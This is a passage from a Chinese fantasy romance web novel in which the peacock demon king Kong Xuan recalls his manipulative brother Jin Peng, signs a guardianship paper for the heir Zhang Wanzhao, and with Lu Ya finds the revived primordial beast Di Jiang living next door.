但孔宣不一样,凤凰格外珍惜孔宣这个和自己很像的孩子,哪怕在道德与亲情极其单薄的蛮荒时期,她也将孔宣养得很好。 凤凰几乎为孔宣遮蔽了所有的风雨,他只需要安心做妈妈的小鸟崽,华美的五色翅膀永远会为他遮风避雨,这就是最好的日子了。 即便妈妈有天带回一只灰扑扑的小鸟,孔宣也理所应当地认为,这是妈妈带给他的礼物。 他直接一口炫了,差点把自己的亲弟弟炫进肚子里。 被带回家的金鹏比孔宣小了一倍不止,瘦骨嶙峋地支撑着凌乱的金色羽毛,在羽毛华丽漂亮的凤凰与孔雀面前形如一只丑小鸭。 被孔宣吐出来的时候,害怕得瑟瑟发抖,细缩成小小一团不断地发出祈求般地抽噎。 这样丑陋又胆小的家伙居然是他的弟弟。 喜欢漂亮小鸟的孔宣大失所望,但他从来不会嫌弃弟弟,他学着妈妈的样子温柔地给弟弟梳理羽毛,送给他最好吃的果子,大方又得意地向每一只小鸟宣告。 他,也有弟弟了! 他会像妈妈保护自己一样保护弟弟的! 只是弟弟并不喜欢孔宣送的果子,他怯生生地跟孔宣说:“哥哥,蛇肉是什么味道的?好吃吗?听说巴山的山神巴蛇非常美味……啊,我只要尝尝最普通的蛇肉就行,哥哥不用为我费心。” “我在外面流浪的时候吃什么?吃地里的腐肉或者泥巴……那些妖怪都很厉害,我不像哥哥这么厉害,好几次差点被吃掉。” “哥哥,你和妈妈好像,都是那么漂亮,一看就是一家人,我就一点都不好看,要是有什么办法让我也变得这么漂亮就好了。” “真的吗?妈妈掉落的羽毛都可以送给我吗?可是这些羽毛还不够,哥哥的也要送给我吗?” …… 孔宣为了弟弟曾经飞过千山去捕猎巴蛇,也曾经拔下漂亮的羽毛送给弟弟装饰。 因为妈妈就是这样对他的,他也会这样对待弟弟。 孔宣爱憎分明,爱欲其生恨欲其死,他愿意用尽方法一次又一次拯救金鹏的性命。 可是…… “妈妈死后,金鹏就离家出走了。” 孔宣说起这个就来气,在他眼里弱小可怜的金色小鸟一离开家,马上就被一群坏妖带坏了,不只不跟他回家,还总是在外面干坏事。 “都是外面那些坏妖把他教坏了,他原本是一只很胆小很讨人喜欢的小鸟,他说我们是一家人永远都不分开。” “事实上。”一直旁听的丹雀插入话题,她目光略带几分复杂:“孔雀,金鹏从来都不是一个好孩子。” 是的,即便知道他不是一个好孩子,丹雀还是被他说动了。 金鹏要是愿意,他可以讨任何人喜欢。 何况孔宣天然与他血脉同源。 孔宣还记得金鹏以前乖巧懂事的模样,并不赞同这个说法:“金鹏本心不坏,他以前真的很乖。” “大王。”陆压沉默了几秒,带着旁观者清的锐利,含蓄询问:“那些话是他自己主动跟你说的吗?” 孔宣疑惑:“哪些话?” 陆压:“他过去过得有多惨,你过得有多好。” “这是事实呀!”孔宣下意识反驳。 他就是过得比金鹏好。 陆压忍不住发笑,更多的是生气与暗火,他看着孔宣毫无知觉的茫然表情,内心的不悦早已见风就长,被一把火烧得灼痛。 自信张扬的孔雀大王被妈妈养得很好,没有把这些话当成自己的过错,并不代表金鹏的话就没有问题。 金鹏不停对比孔宣过得有多好自己过得有多烂,鼓动孔宣去捕猎危险的蛇妖、抢走他的东西,不停地道德绑架孔宣。 但孔宣在意这个弟弟。 陆压对此不置可否,只是淡淡地说:“我还真想见见他。” “金鹏。” 咀嚼着这两个字,陆压眉眼冷峻,咬字加重,带着几分锐利的冷意。 金鹏应该庆幸自己早就死了。 孔宣眉头微皱,狐疑地看他:“你真的想见他?” 他怎么感觉陆鸦鸦像是要去寻仇的。 孔宣下意识后仰,几乎要对寻仇这件事有ptsd了,警惕地支棱着脖子狐疑发问:“他应该没招惹你吧?” 他不想再欠债了! 被骗都不自知的孔雀大王。 陆压无奈地看了孔宣一眼,突然很想问他,他喜欢的小鸟没有帮他处理过金鹏吗? 没有别的意思,只是如果是他,训弟弟这种事他还是有点力气和手段的,绝对能让孔雀大王过上兄友弟恭的舒心日子。 丹雀来得匆忙,走得也快。 确定孔宣没办法拿出救命的宝物后,丹雀拍拍翅膀就要离开。 离开前,陆压叫住这位性情和煦的神鸟,他仰头看着丹雀在空中盘旋,直白发问:“丹雀,你要去哪?” 丹雀并没有地方可去,她回答:“我要回到故乡去。” 故乡,所有原初神兽的故乡,不周山。 不周山的出现如同一场风暴,残忍地卷走了所有的注意,太多太多的人或妖聚集到了那里,试图寻找灵气复苏的真相。 但丹雀并不害怕。 “那是我的故乡,如果有天我终要死去,我也应该葬在故乡的土地上。”丹雀温声回答。 她智慧又温柔,过于漫长的岁月为她所有的锋芒都裹上了一层软和的外表,没有人能留住自由的鸟。 孔宣抚了抚发尾,眉眼弯起:“很好的想法,我会去不周山找你的,带着赔偿。” “再见,丹雀。”他踮起脚跟丹雀挥手告别,眉眼间不见丝毫阴霾。 像是送走一位朋友,轻松地挥手告别,约定下次再见。 丹雀忍不住笑了出来:“再见,孔雀。” 她拍打着翅膀,在空中盘旋一阵,似鹤似鸦的鸣啼在空中久久不散,转眼消失在云层的尽头。 孔宣低下脑袋,一边骂骂咧咧一边帮忙铲地:“怎么还有那么多——” 他铲铲铲! 陆压和孔宣两个人猛猛干活,把屋顶上疯长的藤木全部处理干净,又急急忙忙地收拾路边的野草。 野草长过他们腰腹,几乎把人淹里面了。 孔宣一边抱怨丹雀令万物丰收的天赋把家淹了,一边挥舞着铲子,如同挥舞着武器,杀气腾腾地杀向野花。 他手上一用力,一铲子从门口铲到路边,正要发力起根时,一对滚轮碾到面前。 孔宣的视线往上飞起,眼熟至极的医用轮椅上,张晚照那张瘦到脱相的脸映入眼帘。 张晚照身边没有跟着九凤,而是左边三个黑衣保镖,右边三个肌肉壮汉。 手上拿着一封文件气势汹汹地冲到孔宣面前,一开口惊天动地。 “五百万,让九凤跟我走!” 居然有人敢朝他砸钱的孔雀大王:??? 第42章 第42章玃如火锅 今天真是祸…… 今天真是祸事多。 “张晚照。”张晚照来势汹汹, 陆压上前将孔宣拦在身后。 他身形高大,平常人在他面前都会矮一个头,何况张晚照坐着轮椅,陆压站在他的面前垂下眼睛, 居高临下, 锐利的目光恰如锋芒惊显, 更加骇人至极。 陆压有意维护,随手把孔宣推到身后。 孔宣从他身后探出头, 踮着脚攥着他的肩膀,把下巴往人肩膀上一垫。 他神气扬眉, 好整以暇地问张晚照:“怎么?你这就好了?” 孔宣视线上下扫过,人还是那么一个人,样子也还是那么一个样子,但说话做事看起来比前几次见面时的厌世麻木要正常得多。 孔雀大王更觉得意,侧过脑袋在陆压耳边调笑:“看吧?还是我厉害, 人类那么难的病都治好了。” 他洋洋得意,不免有些嘚瑟, 含在喉咙里的笑意隐忍不住地溢出。 说话间温热的吐息落在陆压的颈间, 两个人耳鬓厮磨,犹如情人间的调笑。 酥酥麻麻的痒从颈侧晕染到耳垂, 陆压脑袋微偏, 碎发遮住泛红的耳垂。 他神情镇定,依旧与张晚照对峙。 只是视线忍不住偏转, 下意识地落在孔宣的眉眼,张扬的眉眼舒展着,足以令人心荡神摇。 两个人说话间亲密得密不可分,几乎将所有人忽视在外。 张晚照用瘦弱的手锤了锤扶手, 给了身边的保镖一个眼神:“孔先生,我是来和你谈事情的。” 保镖接手了孔宣与陆压的清理工作,张晚照被保镖推着送进了店门,他反客为主,主动转头示意两位跟来。 这可真是件奇事。 孔宣跟着他走进店里,第一句话就是:“你找九凤,关我什么事?我又不是他什么人。” 他慵懒地在张晚照对面坐下,一手倚着桌子,随手将杯子翻出,等着陆压给他倒水。 水流哗哗地滚进杯子里,碰撞着边缘敲出一连串清脆的声响,杯身映出两人对峙的模样,搅弄成一片模糊。 孔宣嘴角含笑,漫不经心抚弄过杯子边缘,撑着下巴好整以暇地朝对面眨眼。 对面要给他送钱,他也不是不行。 杯子被他推到张晚照面前,张晚照只是看了一眼,自顾自地皱起眉,语气很不耐烦:“我当然知道了!” “你、”他说话声音一顿,朝孔宣凑了过去,孔宣歪过脑袋倾听,只听他急声说:“你们,你们都是妖怪。” 这话他声音小小的,保镖也早就出门了,店里只剩下他们三个。 孔宣被他语气里紧张兮兮的情绪逗笑了,他往后一仰,一头撞在陆压身上,笑得乐不可支。 “你也知道啊?”他扬眉,突然一个想法灵光一现,孔宣脸上的玩味更甚:“你不会想当把柄拿捏我们吧?” “不是——”张晚照急声反驳。 孔宣厉声质问:“不是?九凤不愿意见你,你就来威胁我?” 他双眼一眯,敛起极度危险的弧度,眼底冷光流动,目光如同看待一具死尸,越发骇人可怖。 张晚照被逼急了,不假思索地脱口而出:“因为我病好了,他就不喜欢我了!” 话说出来了! 张晚照睁大了眼睛,孔宣反而散开了笑意,饶有兴趣地朝他扬眉:“说来听听。” 激将法! 张晚照没想到对方三言两语他就把实话说出来了,不免有点郁闷,扁了扁嘴,才不情不愿地说: “谁像他一样,之前对我有多好,医生一宣布我好了,他就变了脸色,我感觉我和他之间已经隔了一层冷漠的厚障壁了,我算是看明白了,他就喜欢有病的!” 说起这个张晚照就来气,他气得一拳头砸在扶手上,气得咬牙切齿,恨不得指天画地控诉九凤的无情无义。 两个人当病友的这两年,九凤是千好万好,推他去看医生,监督他吃药,几次救下自杀的他,还想办法给他治病。 等他一好,九凤顿时变了一张嘴脸,在他想把九凤带出医院时,更是怒骂他想要谋财害命! 他需要这点谋财害命的钱吗? 张晚照气得半死,对九凤是说也说不通,骂也舍不得骂。 辗转根据那天的展会找到穆怜青,才知道他根本就没病!纯粹是吃药吃傻了。 张晚照把文件打开,推到孔宣面前:“我打算把他转到疗养院里,让医生慢慢给他减药,只需要你在监护人名字那里签个字,我给你五百万的签名费。” 孔雀大王看都不看,双手交叠,严肃地托住下巴,非常锐利地直击痛点: “这么说九凤也不喜欢你,强扭的瓜不甜,我们都不管他你管他干什么?” 张晚照支吾几声,哼哼唧唧地表示:“他可是我的救命恩人。” 虽然是这么说,但他过于苍白的脸上仍然不免泛起一片显眼的红晕。 这种情况还能不离不弃的人,谁会不喜欢呢? 张晚照现在是张家财产的唯一继承人,有钱有势,想报恩有的是办法,但他就是想把九凤拉出来。 看透了张晚照的想法,孔宣表情更加玩味:“我们可不是人,你把他拖出来能管他几年?十年?二十年?最多一百年后你也就是一捧土了,他都不一定会记得你。” 张晚照不假思索:“那就一百年后再说吧!” 不求以后,只争朝夕。 要是九凤病好了要跑,他、他就跟着一起! 张晚照的眼中满是执拗与坚韧,一双眼睛明亮惊人,挂在瘦弱的脸上显得有点吓人,却真挚至极。 孔宣盯着他,一双眼睛似乎能看透他密密匝匝的心思。 他将文件划拉过来,低下头干净利索地签上了孔宣的名字。 九凤想不到,为了躲避家族捞人而填上的名字,最终会由孔宣亲自签下,将之递给一个凡人。 “小晚照。”孔宣歪过脑袋,他倚着椅背,漫不经心地敲了敲杯子。 张晚照挪动轮椅回头:? 孔宣笑了起来,他笑容明媚张扬,肆意地朝他挥了挥手。 “这门亲事我同意了。” 张晚照顿时脸颊爆红,手忙脚乱地打着轮椅,差点一头撞到门框上。 “我、我会让人把钱打你卡上的!” 张晚照慌慌张张跑走了,陆压若有所思地盯着他的背影,垂下眼睛时与孔雀大王对视上了。 孔宣哼了一声,仰着头抵着他的腰腹,就这样直白地看着他,语气不悦:“你看他干什么?” “我只是在想……”陆压话语微顿,碎发遮住了他的眉眼,只能看到睫毛下微微泛起的微光,他下颚阖动,慢慢吐出一句:“人类也可以和妖在一起吗?” 这是一个蠢问题,陆压一出口就意识到了。 出身妖管局的他见过太多人妖恋情了。 他想问,人类也可以和你在一起吗? 是人类,不是某只漂亮小鸟。 孔雀大王也会喜欢人类吗? 孔宣高高地挑起一边眉头,手指戳在陆压脸上,不高兴地鼓起腮帮子。 “我在你眼里就这么没品吗?” “这种光秃秃的人类有什么好喜欢的?是漂亮小鸟不美吗?还是漂亮巢穴不香吗?” “还是……”他话语一顿,狡黠地翘起唇角,眼睛眨动间暧/昧调笑:“我们陆鸦鸦不好?” 陆压脸上阴郁的神情一怔,快速地抬了下眼,纤长的睫毛颤抖着,眼底泛起几息光彩。 孔宣一下子从凳子上翻了起来,潇洒地朝内里走,撩起门帘时他回过头,回眸一眼狡黠灵动。 “鸦,不要瞎吃飞醋啊~” 调笑的话说完,他“嘿”了一声,轻快地钻进室内,没一会儿大呼小叫的声音从里面传出来:“陆鸦鸦!我的菠萝——” 陆压无奈地叹气:“菠萝还没处理好,小心扎嘴。” 他抖了抖围裙,一边答应一边系到腰上。 给贪吃的孔雀大王削菠萝去了。 是夜。 陆压走进浴室,他房间里没有开灯,只有浴室的灯光明亮惨白。 他很少会变化出原形,藏匿起来的妖纹也避免了许多窥视。 唯有现在四下无人的深夜,他才对着镜子无声低下了头,青黑色的妖纹从脊骨处慢慢生长而出,一只羽茧缓缓松开翅膀,泄露出一对将要孵化而出的飞鸟。 飞鸟交颈缠绵、羽翅相交,华丽纤长的孔雀羽犹如亲昵的情人,张扬交融进火鸟的纹理中,显得密不可分。 陆压并没有观测到羽茧展露的情况,他一手摁在洗手台上,一手攥住手臂,一根一根的黑羽从他的皮肤上滋生,几乎淹没他的全部皮肤。 他喉间滚烫,如火灼烧般烧灼着他的思维,羽翼逐渐丰满,更加催着他变化出新的形态。 然而鸦羽散落,灵气烧干,他棋差一步,在化形的紧要关头,片片鸦羽应激缩回。 他近乎脱力,撑着洗手台艰难地喘息几声,汗水随着肌肉线条抖动掉落,明亮的镜子里映出他狼狈焦灼的模样。 陆压抬起眼,深邃冷淡的眼睛此刻凶戾阴鸷,如被迫隐忍的猛兽,身上拼搏出来的肌肉不断收缩伸展,极致的力量埋藏在他每一寸的皮肤之下,危险蛰伏在暗流涌动下。 又一次化形失败,陆压眉眼发狠,随手将几根没有消去的黑羽拔掉碾碎,转过身借由镜子看清背上狰狞可怖的妖纹。 古怪的神木扎根在他的脊骨之间,肆意地舒展着枝条,将被火缠绕的神鸟高高捧起,怪异符文蜿蜒绵亘,兀自汇聚成完整的妖纹,深深锁进他的骨血。 他偏过头,终于看清了脖颈后若隐若现的孔雀羽。 大概是他的血脉还不够纯粹。 陆压并不知道,妖纹除了昭示血脉,还有另一个作用。 ——为结契后的爱侣打上彼此的印记。 这份印记即便转世新生、即便身死道消,百世不灭,千年不改。 眼球在眼皮下转动着,黑暗中,孔宣躺在梧桐木的床上,猝然睁开一双青光璀璨的眼,妖异至极的异色在眼中扩散。 夜晚风声涌动,虫鸟齐静,孔宣眼睛睁开一瞬,他翻过身,平躺在床上,敏锐地捕捉到了一丝声音。 犹如丝竹管弦,又似琵琶长琴,在黑夜中铮铮作响,幽幽怨怨,哀寂至极。 孔宣烦恼地用枕头遮住耳朵,把自己滚进被子里,气呼呼地藏了起来。 他把眼睛一闭,很快就听不见似有若无的乐声,清浅的呼吸缓慢平稳,裹着被子呼呼大睡起来。 “谁整天大晚上在外面弄乐器,吵死了!” 孔宣打了个哈欠,被吵了几天,脾气见风就长,一点也不憋着,直接跟陆压抱怨。 陆压偏了下头,似乎有点意外:“乐器?” “是啊。”孔宣说着,手中剥开的鸡蛋塞进了陆压碗里,等陆压把蛋白剥走,他才美滋滋地把蛋黄塞进了嘴里。 “最近外面总有声音在响,可烦人了。” “什么笛、萧、琵琶、古筝……” 孔宣嘟囔着,报出一连串的乐器名,嘴巴里念念叨叨的。 以前在清扫组工作过的人警诫心就没有弱的,并且对妖气极为敏锐。 陆压并不是进去混资历的混子,恰恰相反,他在妖管局的战绩十分优异。 听到这种话,他停顿了好一会儿,才慢慢说道:“我没有听到有什么音乐。” 他从来没有听到过孔宣说的丝竹管弦,也没有感受过什么妖气。 ……不。 陆压突然想到了什么,他面露思索:“或许是我没注意,我今天晚上看看。” “问问邻居不就知道了?”孔宣扬眉。 他听到了,说不定靠近他那个房间的邻居也听到了。 要是守着等有人没素质半夜搞音乐,那可太折磨了。 不过自己晚上被声音吵,陆压反而一点动静都没有,本来想抱怨的孔雀大王顿时觉得自己和陆鸦鸦之间已经隔着一层厚厚的厚障壁了。 他已经不是自己同仇敌忾的队友了! 孔宣吃过早餐,抱着枕头溜溜达达地溜进陆压的房间里,他目光在室内扫过,露出极为锐利的眼神,精准将自己的枕头丢到床头,占据稳稳的c位。 他大声宣布:“我今天要到这个房间睡!” 他就不信了!难道只有他房间才能听到声音吗? 陆压没有意见,他拎了几袋子桃子,拿出一个红彤彤的递给孔宣大王:”大王吃吗?” 孔雀大王嗷呜一口,一口咬住了桃子,换到手上,他眉眼得意地朝陆压扬眉。 “走!我跟你一起走邻居去。” 他一把挽住陆压的手,雄赳赳气昂昂地就要跟陆压找邻居去问问情况。 他们平时不爱和邻居聊天,对隔壁的邻居也没有什么了解。 带着桃子上门,结果敲了半天门,隔壁的隔壁才冒出头说他们隔壁的人一年前就搬走了。 这可太不巧了。 孔宣诧异极了,歪过脑袋小声问陆压:“那我们隔壁之前住的是鬼吗?” 他可看到过好几次隔壁邻居家的灯开着! “说不定是小偷。”陆压猜测。 “说不定他就是那个没素质的!”孔宣叉腰愤怒哼哼。 他气鼓鼓地露出凶恶表情,腮帮子鼓起一边,张扬的眉一拢,张牙舞爪的。 被陆压掐了一把。 “陆鸦鸦!”孔雀大王大怒。 陆压的视线忍不住被他鼓起的腮帮子吸引,白嫩嫩的腮肉微微鼓起一点,以为自己凶巴巴的,眼角眉梢都是得意。 实在是…… 他低咳一声,在孔雀大王的怒视下飞速举手投降:“我错了大王!” “错哪了?” “……”陆压不语,只是摩挲着指腹,手指上似乎还残留着柔软的触感。 很软。 “哼!”孔宣重重哼了一声,毫不客气一把掐住陆压的腮帮子,两只手一起上,挂在他身上,张牙舞爪地要惩罚他。 细软的手指按在脸上,陆压左躲右躲哪里都躲不开越靠越近的人,他认命叹气,老老实实低头,让孔雀大王掐自己泄愤。 然而孔宣只是掐着他的脸,捏着腮帮子往上一推,平直的唇角瞬间推出一个古怪的笑弧。 “噗嗤!”孔宣再也忍耐不住,笑得浑身发软,一边发抖一边靠在陆压身上抽笑。 陆压:? 一直冷若冰霜的陆鸦鸦乖乖任捏,笑起来不仅一点都不好看,反而非常搞笑,有种乖巧的滑稽感。 孔宣脸上的神采狡黠极了,他挤眉弄眼,眼睛眨动间笑意星星点点地散出,乐不可支地倚在陆压身上。 就算是说话,都忍不住笑意,一边憋笑一边咳嗽:“咳、你别笑……别笑啊……” 陆压:。 到底是谁在笑? 他无奈扶住站不住的孔雀大王,抓着他的手无奈回答:“回家吧,回家吧大王。” 隔壁的老大爷眼神都要变了。 孔宣干咳两声,总算收敛了笑意。 他装模作样地往前走了几步,刻意走到陆压前面,三两下跳到后门的台阶上,他一回头,笑盈盈地看着陆压。 陆压:“遵纪守法啊,大王。” “哎呀,你不好奇吗?”孔宣点点下巴,忍不住摇晃起脑袋。 他是真有点好奇了。 隔壁邻居早一年前就搬家了,那他们这些天看到的灯光和人影又是什么? 人or妖? 陆压回答:or。 他推着好奇心大起的孔雀大王往院子里走,孔宣努力扭头,试图踮着脚让目光翻过院墙一探究竟。 “……”好像小猫。 不停挣扎的孔雀大王好像是一只小猫,要是不好好看着,绝对会安安静静作妖。 陆压撑了没三分钟,他许诺:“如果今天晚上那房子里还有灯,我们就报警。” 报警?想到那些警察连自己是人是妖都分不出来,孔宣大王不屑。 不过孔雀大王愿意给陆鸦鸦一个面子,他不情不愿点头,心里盘算着等捉到那个半夜扰民的家伙,一定会让他好看! 时间就在孔雀大王的等候中一点一点过去。 孔宣抱着被子爬上了床,他一脚踢开鞋子,缩进被子里滚了滚,裹着被子咕蛹着伸出一只手,拍拍身边的位置,极力邀请。 “鸦,上床。” 陆压视察群聊的动作一顿,无情地转了一个身:“我去隔壁房间睡。” 装模作样。 孔宣撇撇嘴巴,懒洋洋地打了一个哈欠。 他眼睛眯起,困倦地歪过脑袋,迷迷糊糊蹭到枕头上,含糊嘟囔:“假正经的坏鸦。” 哼。 坏鸦扭头看着孔雀大王,大王窝在被子里,只露出一张白皙漂亮的脸,浓密的黑发披散在床上,越发显得秾烈魅惑。 孔宣睡梦中总显得很乖,没有清醒时的张扬霸道,团在一起像是白白软软的小团子。 不管是小团子还是好奇猫,陆压都忍不住把目光落在他的身上。 陆压在床边等了等,等到了凌晨,才如梦初醒般颤了颤睫毛,无声走出房间。 他躺在孔宣最喜欢的梧桐木床上,将手中的书本盖在脸上。 滴答滴答—— 指针一分一秒地偏转,房间安静无声,似乎所有人都陷入了安眠。 孔宣迷迷糊糊间睁开眼睛,他翻了个身,他这一次清晰地听见了远方遥遥传来的丝竹管弦声。 “哼哼哼~” 他轻声合着曲调,手指在手背上打着节拍。 孔宣几乎能记住所有他听过的曲调,无论是小鸟随意哼出来的声音,还是当年极乐蟠桃盛宴上的丝竹管弦靡靡之音。 他侧耳倾听,几乎在某一个瞬间,他应和上节拍,精准地哼出一段曲子。 无人注意到,屋外扦插的枝条猝然抽长,遥遥转向一个方向。 风吹过它的枝叶,应和般沙沙作响。 孔宣无声睁开眼睛,他已然确定了对方是谁。 他垫着脚尖,矫健地游走在黑暗中,无声钻进自己的房间。 “鸦。”他轻声呼唤。 陆压将脸上的书本掀开,一双眼睛没有丝毫的困倦,湛湛明亮。 孔宣站在窗边,月光冷冷地照在他的脸上,他的唇色极艳,乌发秾丽,那双泛青的眼眸上挑起蛊惑的弧度,无声翘起唇角。 他像是一只魅惑众生的妖精,在黑与白中不似人间生灵,也不似神仙佛祖。 近乎昏聩,肆意妄为:“别说话,跟我走。” “我要带着你,” 他翘起唇角,昏暗的光芒在他眼中闪烁,烈火燎原般灼灼明亮。 “去见真正的原初生灵。” 第43章 第43章玃如火锅2 在很久很…… 在很久很久以前, 那时世界的天地才刚刚分离,原初的生命降生世间。 祂们性格各一,样貌不一,就有一位原初生灵生来无口无眼, 没有七窍, 叫作浑沌。 浑沌极其喜好音律, 时常对月欢歌,时常孤独奏乐。 不知道过了多久, 它有了两个朋友,来自南海的倏和北海的忽。 他们时常相会, 一起交流音律,四处游玩,日子过得简单又快乐。 倏和忽十分感激浑沌的友谊,为了报答这份情谊,见浑沌不像别人大家都有眼耳口鼻, 可以用来听、吃、闻、语,他们便想为浑沌凿开七窍, 让祂能感受世间的美好, 看到美丽的色彩。 于是他们与浑沌说定,一日帮祂凿开一窍, 让祂能够像别人一样感受世间的美好。 他们先是凿开嘴巴, 再是耳朵、鼻子……一直到第七天,倏和忽凿开眼窍, 浑沌当即死去。 倏和忽因为祂的死亡感到十分悲伤,悲伤地哭泣引来了黑色的雪,大雪洋洋洒洒覆盖在地上,盖得很厚很厚。 浑沌的□□埋藏在厚重的黑雪下, 化作凶兽混沌。他的灵魂却飘然飞上了天空,化作没有七窍的神兽帝江。 自此灵肉分离,浑沌彻底死去。 “哗啦——” 无人的小楼三层,紧闭的窗户猝然敞开,夜风灌入室内,吹起厚重的窗帘,有月影潜行入户。 潇洒的人影踏月而来,他从窗外进入,鞋子踩在地板上,朦胧月色顺着他的脚步探进屋中,照亮方寸黑暗。 无声的死寂充斥着室内每一个角落,室内的器具倒映出孔宣欣然踏入的身影,他顺着月影走进黑暗,眼中一点青色如烈火般灼灼明亮。 他往前走进一步、两步…… 肆意的脚步没有被黑暗阻拦,一团庞大拥挤的黑影拥堵在三楼的大厅,止住他的脚步。 孔宣站在黑暗中,惨白的月光在他身后割裂,他立于黑暗笔直坦然,密密麻麻的长线顺着黑影铺满了落脚的地板,如同血线如有实质的“呼吸颤抖”。 任何人看到黑暗中的黑影都会情不自禁地屏住呼吸,犹如人类刻在基因里对未知的恐惧,他们只是凝视,只是看见,就足以被惊骇、恐吓。 无法直视、无法感知、无法想象…… 所有的一切恐惧都一起融合进这古怪的黑影中,黑影沉沉地呼吸着,吸气呼气间它本身不断颤抖,扑簌簌的线条从它身上掉落。 然而没有声音,无声的死寂似乎隔断了它对于世界的一切感知,只是这样,它就像耗尽所有力气般,安静无声地停住了动作。 陆压迟一步从自家三楼的窗户翻进来,翻进邻居家时他手上拿了一个手电筒,直白地照在“肉山”的身上。 瞬时间,他的眼前出现了一片诡异的惨白,古怪的雪花片在他眼前闪烁,那一瞬间,他像是被什么高阶的存在盯上,视线直白地在他身上巡视。 那道目光几乎将他的骨血、灵魂都全部翻遍,随后毫不犹豫地抽身而去。 紧接着,一个声音在两人脑中响起:[孔雀、金乌……] 手中的灯光猝然熄灭,陆压怔了怔,低头扣出烧坏的电池,垂下的眼睫遮不住眼底锐利的光彩,他淡声质问:“这几个月我从没感受到妖气。” “你是什么时候来到这里的?” [……这里看不到太阳与月亮,我不记得了]没有五官手脚的“肉山”猝然抖动起来。 它还活着。 [我曾经死了,现在又活过来了] 它动了动,如地动山摇般翻了个身,肉团在大厅里滚了滚,依旧是一团没有手脚的肉山,肉粉色的翅膀搭在它的两边。 它实在是太大、太痛苦了。 密密麻麻的血线从它身上掉落,它的整个身体呈现出被剥去皮毛的肉粉色,黏腻地堆砌在一起。 随着它的滚动,那些血线被拉扯收缩,以一种非常恐怖的动作“编织”在一起。 没有人能看清那些“血线”是怎么编织的,像是有一双看不见的手,拿着毛线针将那些线编织成衣服,披挂到它的身上。 这样恐怖的画面,孔宣却面不改色,他洒脱地在肉山面前盘腿坐下,将那些“血线”抓在手中,理毛线一般打理着。 一边给“肉山”放线,他一边说:“帝江,你是不是快死了?” “你快死了,可以让我把你吃掉吗?” [不可以]帝江好脾气地回答:[神兽之间是不可以互相吃的,这是规矩,小孔雀,你不守规矩会被其他神兽杀掉哦] 祂并不是用某个器官发话,比起说话,更像是连接了同一段频率的脑电波。 没有发出任何声音,在思维同频的一瞬间,祂在更高维的存在低语。 祂是孔宣故事里死而复生的原初生灵,是浑沌的灵魂化身,也是曾经在蟠桃宴上演奏曲调的神兽帝江。 孔宣撑着下巴,忍不住好奇:“你之前不是死了吗?怎么活过来的?什么时候活过来的?” 他毫不客气地去抓帝江逶迤下来的肥肉,粉嫩嫩的肉翅被孔宣抓在手中。 虽然有翅膀,但帝江并不属于神鸟一族,神鸟之间家族式的关照在其他神兽之间并不管用,除了龙族抱团之外,他们几乎各自为营。 所以孔宣并不了解帝江发生了什么,他只知道,帝江在很早之前就死掉了。 帝江继承了祂前世对音乐的偏执,祂从降生开始,就一直奔走在寻找乐曲的路上。 祂没有耳朵嘴巴,没有眼睛鼻子,祂有自己的一套感知方法,对音乐痴迷至极。 祂曾在钟子期死去时伯牙摔琴的筝筝悲愤,也曾在始皇一通六国时聆听青铜器的回响…… 帝江大概是死在了某次寻觅神音的路上。 直至祂死后三百年,神兽们才迟迟确定了祂的死讯,祂的朋友已经所剩余几,只有几个热爱音乐的神兽为他送葬。 而现在,祂死而复生,却又要死了。 [不,我不会死]帝江否认。 祂没有口鼻眼耳,不需要吃饭睡觉,祂只需要灵气,足够的灵气。 按照一个月前的灵气衰竭趋势,祂不用三个月就会彻底死去。 但可巧的是,灵气复苏了。 没有人知道灵气复苏最后是什么情况,敏锐如帝江,它告诉孔宣: [没有人会真正因它而死,之前发生的一切会再次发生,死去的生灵会回到这个世间,这是一场轮回] 帝江是最初的原初生灵,祂的存在比孔宣的母亲凤凰还要久远,祂生生死死过好几次,几乎与天地同寿。 [小孔雀,沉寂的时代将要复苏,我们会一起回到“故乡”] 帝江粉色的肉翅还被孔宣捏在手中,孔宣一点都不尊敬祂,他像孩子一样肆意把玩拉扯,帝江却一点也不生气。 祂总是有这样好的脾气,除了音乐,没有事情会让祂在意。 但同样的,祂博学多才,祂知晓世间所有曾经发生过的一切。 帝江终于编制好了一件由“血线”编织成的衣服,祂把衣服披在身上,于是硕大的肉山消失了,一个浑身赤裸的瞎眼美人从里面爬了出来。 祂双眼晦暗,裹着由血线编织的衣服,一身皮肤惨白似雪,祂只是静静地坐在那里,就像是一捧月光。 孔宣将祂掉在地上的长发捞起,如同捞起了月亮。 他眉眼困惑:“轮回?” 帝江已经住进这间屋子有一段时间了,只是没有人发现他的存在,祂从不出去,也从不发出声音。 祂低下头,捕捉到孔宣的手贴在脸上,无声动了动唇。 [不要害怕,小青] 帝江很喜欢这只漂亮的小鸟,祂看不见,但所有的生灵在祂的感知中都有独特的色彩。 在祂的感知中,一团漂亮的青色光团带着金色光团来找祂玩了。 都是朋友家里可爱的小团子。 帝江茫然地偏过脑袋,低垂着头,眉眼温柔悲悯,像是圣洁的月光。 [或许会有一些牺牲,每一个时代都会这样,但你终会明白的,这只是一切的开始] 没有原初生灵会畏惧死亡,他们早已认知到了世界的轮回。 死去的人会在千万年后再次归来,发生过的事会再次发生,天底下没有新鲜事。 孔宣早已见证到了实例,早已沉没地底的高山再次出现,早已死去的人又再次出现在他的面前。 那么他的母亲,他的弟弟……又会在什么时候回到他的身边呢? “帝江,帮我一件事吧。” 帝江安静地将目光落在远处的那团金色光团上,祂朝陆压伸出了手:[小金] 陆压:? 他反应了一下,疑惑地走了过去,被孔宣拉倒在地上。 瞬时间,一张苍白俊美的脸凑到他的面前,他们额头对着额头,他能直白地看见那双灰蒙蒙的眼睛,那双眼睛像是早已死掉的月球,呈现出极度诡异的灰白。 帝江的手在陆压脸上摸索着,漂亮的金色光团比记忆里还要小一圈,祂慢吞吞地理解:[小金变得灰扑扑的,原来是和我一样的原因] 都是死而复生过了。 [让我来帮你一把吧] 陆压被捧着脸,这双漂亮的手温暖得像是一位长辈的手,他还没反应过来,猝然被人兜头一撞。 他猛地后仰,脑子里瞬间炸开金花,眼前一片片的雪花哗啦啦闪过,他只觉得头痛欲裂,完全没有意识到藏匿的妖纹不受控制爬上他的皮肤。 背脊处的大树终于绽开了全部枝条,散开的羽茧在瞬间展翅,将里面的飞鸟完全露出。 神鸟图纹第一次超越了孔雀羽的保护,金光肆意地顺着妖纹一寸一寸蔓延扩散,直到点亮每一处的关窍。 妖纹金光乍现,漫漫妖异瞬间充斥着整个房间。 “唳!” 